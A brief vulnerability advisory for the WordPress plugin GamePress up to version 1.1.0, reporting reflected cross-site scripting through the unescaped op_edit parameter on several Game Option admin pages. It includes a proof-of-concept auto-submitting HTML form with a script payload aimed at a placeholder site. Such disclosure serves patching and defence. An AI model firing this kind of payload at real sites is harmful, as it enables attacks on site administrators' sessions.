GamePress <= 1.1.0 - Reflected Cross-Site Scripting

Description

The plugin does not escape the op_edit POST parameter before outputting it back in multiple Game Option pages, leading to Reflected Cross-Site Scripting issues

Proof of Concept

Affected pages: op=engines, op=perspectives, op=modes, op=genres, op=themes, op=platforms

<form action="https://example.com/wp-admin/admin.php?page=gp-ops&op=modes&id=test" method="post" name="test">
   <input type="text" name="op_edit" value="<script>alert('xss')</script>">
<button type="submit"></button>
</form>
<script>
document.test.submit();
</script>